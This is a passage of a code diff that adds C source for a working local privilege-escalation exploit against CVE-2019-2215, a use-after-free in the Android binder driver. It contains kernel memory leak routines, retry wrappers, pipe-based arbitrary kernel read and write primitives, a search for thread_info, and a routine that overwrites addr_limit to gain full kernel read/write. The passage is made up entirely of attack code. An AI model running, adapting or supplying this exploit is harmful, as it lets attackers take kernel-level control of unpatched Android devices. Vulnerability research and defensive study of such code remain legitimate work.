read(leakPipe[0], &childSucceeded, 1); + if (!childSucceeded) + success = 0; + + + if (task_struct_ptr_p != NULL) + memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); + +DONE: + close(pipefd[0]); + close(pipefd[1]); + close(leakPipe[0]); + close(leakPipe[1]); + + int status; + wait(&status); + //if (wait(&status) != fork_ret) error( "wait"); + + free(dataBuffer); + + if (success) + info("PARENT: leaking successful"); + + return success; +} + +int leak_data_retry(void *leakBuffer, int leakAmount, + unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, + unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { + int try = 0; + while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) { + info("MAIN: **fail** retrying"); + try++; + } + if (0 < try && try < RETRIES) + info("MAIN: it took %d tries, but succeeded", try); + return try < RETRIES; +} + +int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { + int try = 0; + while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) { + info("MAIN: **fail** retrying"); + try++; + } + if (0 < try && try < RETRIES) + info("MAIN: it took %d tries, but succeeded", try); + return try < RETRIES; +} + + +int kernel_rw_pipe[2]; + +struct kernel_buffer { + unsigned char pageBuffer[PAGE]; + unsigned long pageBufferOffset; +} kernel_buffer = { .pageBufferOffset = 0 }; + +void reset_kernel_pipes() +{ + kernel_buffer.pageBufferOffset = 0; + close(kernel_rw_pipe[0]); + close(kernel_rw_pipe[1]); + if (pipe(kernel_rw_pipe)) + error( "kernel_rw_pipe"); +} + +int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len > PAGE) + error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], buf, len) != len || + read(kernel_rw_pipe[0], (void *)kaddr, len) != len) + { + reset_kernel_pipes(); + return 0; + } + return len; +} + +int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len > PAGE) + error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len) + { + reset_kernel_pipes(); + return 0; + } + return len; +} + +/* for devices with randomized thread_info location on stack: thanks to chompie1337 */ +unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { + unsigned long kstack_data[16384/8]; + + info("MAIN: parsing kernel stack to find thread_info"); + if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL)) + error("Cannot leak kernel stack"); + + for (unsigned int pos = 0; pos < sizeof(kstack_data)/8; pos++) + if (kstack_data[pos] == USER_DS) + return kstack+pos*8-8; + + return 0; +} + +int cve_2019_2215_0x98(uint64_t *current_task_addr) +{ + *current_task_addr = 0; + info("MAIN: starting exploit for devices with waitqueue at 0x98"); + + if (pipe(kernel_rw_pipe)) + error( "kernel_rw_pipe"); + + binder_fd = open("/dev/binder", O_RDONLY); + epfd = epoll_create(1000); + + unsigned long task_struct_plus_8 = 0xDEADBEEFDEADBEEFul; + unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul; + + if (!leak_data_retry(NULL, 0, 0, NULL, 0, &task_struct_ptr, &task_struct_plus_8)) { + error("Failed to leak data"); + } + + *current_task_addr = task_struct_ptr; + + unsigned long thread_info_ptr; + + if (task_struct_plus_8 == USER_DS) { + info("MAIN: thread_info is in task_struct"); + thread_info_ptr = task_struct_ptr; + } + else { + info("MAIN: thread_info should be in stack"); + thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8); + if (thread_info_ptr == 0) + error("cannot find thread_info on kernel stack"); + } + + info("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); + info("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); + info("MAIN: Clobbering addr_limit"); + unsigned long const src = 0xFFFFFFFFFFFFFFFEul; + + if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) { + error("Failed to clobber addr_limit"); + } + + info("MAIN: should have stable kernel R/W now"); + + return 0; +}